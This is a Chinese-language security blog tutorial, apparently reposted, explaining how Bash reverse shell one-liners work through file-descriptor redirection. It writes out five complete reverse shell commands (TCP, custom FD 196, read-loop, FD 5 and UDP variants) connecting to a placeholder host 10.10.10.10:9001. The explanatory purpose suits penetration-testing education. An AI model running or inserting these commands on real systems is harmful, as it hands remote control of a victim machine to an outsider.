拆解那些千奇百怪的反向Shell命令

admin 2026-07-13 05:31:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文拆解了多种Bash反向Shell命令,核心在于文件描述符的重定向与复用。文章详细解释了经典payload如sh-i>&/dev/tcp/…以及自定义FD玩法如196版本和逐行执行模式。主要结论是理解FD机制比盲目复制payload更重要,掌握原理后能灵活编写适应特殊场景的变体。 综合评分: 88 文章分类: 渗透测试,红队,实战经验


cover_image

拆解那些千奇百怪的反向Shell命令

幻泉之洲

2026年7月12日 10:16 北京

在小说阅读器读本章

去阅读

渗透测试中拿到命令注入点后,反向Shell是控守目标的命门。revshells.com这类项目收集了大量payload,但很少有人把每条命令背后的文件描述符魔术讲透。这篇文章逐一拆解常见的Bash反向Shell写法,看完你就不会再盲目复制粘贴了。

什么是反向Shell

说白了,反向Shell就是让受害机器主动连回来,把它的命令行输入输出都交到你手上。正常的Shell是你连过去操作,反向Shell是它来找你。圈里也管这招叫“shell shoveling”——把Shell铲过来。

你不需要直接接触目标的终端,只要它执行一段精心构造的命令,你就能远程发号施令。这才是后渗透阶段最常用的驻留手法。

基础:文件描述符

搞懂反向Shell之前,先得把文件描述符(FD)这关过了。任何Unix系统上,每个进程默认开着三个FD:

  • 0 — STDIN,标准输入
  • 1 — STDOUT,标准输出
  • 2 — STDERR,标准错误

FD本质上就是内核给进程开的一条I/O通道,可能连着文件、网络socket、管道、终端等等。除了这三个默认的,你还可以自己定义新的FD,后面会看到怎么用。

拆解常见Payload

Bash -i 最经典版

sh -i >& /dev/tcp/10.10.10.10/9001 0>&1

这条命令几乎每个渗透测试人都背得下来。拆开看:

  • sh -i — 用sh启动一个交互式Shell。sh通常软链到bash、dash之类的实际解释器。
  • >& — 把标准输出和标准错误一并重定向。后面跟的目标是TCP连接。
  • /dev/tcp/10.10.10.10/9001 — Bash的伪设备文件,执行这行就会向指定IP和端口发起TCP连接。不是所有发行版都编译了这个特性,但多数CTF环境默认支持。
  • 0>&1 — 把标准输入也绑到标准输出指向的同一个地方,也就是那条TCP连接。这样输入输出就全双向打通了。

整条命令的效果:目标机器上的sh进程,它的输入来自你的监听端,输出也回到你这边。你敲什么命令,它就执行什么。

Bash 196 文件描述符玩法

0<&196;exec 196<>/dev/tcp/10.10.10.10/9001; sh <&196 >&196 2>&196

这个变体用到了自定义FD,号码196是随便挑的。三个子命令用分号串起来,不管前面成败,挨个执行:

  • 0<&196; — 让标准输入(FD 0)从196这个FD读。但196还没定义,这步只是先占个坑。
  • exec 196<>/dev/tcp/10.10.10.10/9001; — exec直接在当前进程里打开一个读写FD(196),连到目标TCP。注意<>表示读写模式,不是只读或只写。
  • sh <&196 >&196 2>&196 — 启动交互式sh,并把它的输入、输出、错误全部绑到196,也就是那条TCP连接。

和上一种比,这种写法更刻意展示了FD的操控,不怕被某些安全配置误杀。

Bash 逐行读取执行

exec 5<>/dev/tcp/10.10.10.10/9001;cat <&5 | while read line; do $line 2>&5 >&5; done

这条风格迥异:它不直接给你一个交互Shell,而是把TCP连接里收到的每一行文本当命令执行,再把输出吐回去。

  • exec 5<>/dev/tcp/10.10.10.10/9001 — 建一个读写FD 5,连到目标。
  • cat <&5 — 从FD 5不停地读数据。
  • | while read line; do $line 2>&5 >&5; done — 管道的妙用:逐行读入变量line,直接$line执行,然后把标准错误和标准输出都重定向回FD 5。

这种非交互式的方式,在某些受限环境里反而更隐蔽,因为没有创建传统PTY。不过缺点是不能直接使用vim这类需要终端交互的程序。

Bash 5 更简洁的FD绑定

sh -i 5<> /dev/tcp/10.10.10.10/9001 0<&5 1>&5 2>&5

和前面196版本本质一样,只是把FD打开和绑定写得更紧凑。直接用sh -i 5<> /dev/tcp/...,把读写FD 5创建出来,然后0、1、2全部指向5。如果你嫌196版本太长,这个就够用。

Bash UDP 版本

sh -i >& /dev/udp/10.10.10.10/9001 0>&1

和经典TCP版本唯一的区别就是把/dev/tcp换成了/dev/udp。Bash同样支持UDP伪设备,但UDP无连接的特性会让这种Shell的稳定性大打折扣。丢包、乱序都可能导致命令执行错乱。实际渗透中几乎没人用,更多是出现在CTF的偏门考点里。

写在后面

这些payload看似五花八门,核心无非就是文件描述符的重定向与复用。掌握FD的玩法,你甚至可以自己随手写出适合特殊场景的变体。有人说反向Shell只是复制粘贴,但真正理解后你会发现,一条命令里藏着Unix进程模型的精巧设计。

复习材料:

哈佛CS61关于文件描述符的参考 https://cs61.seas.harvard.edu/site/ref/file-descriptors/#gsc.tab=0

Linux文档项目中对/dev/tcp和/dev/udp的说明 https://tldp.org/LDP/abs/html/devref1.html

维基百科文件描述符条目 https://en.wikipedia.org/wiki/File_descriptor

GNU Bash手册关于读写FD的章节 https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Opening-File-Descriptors-for-Reading-and-Writing


参考资料

[1] https://adityatelange.in/blog/revshells/


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《拆解那些千奇百怪的反向Shell命令》

评论:0   参与:  0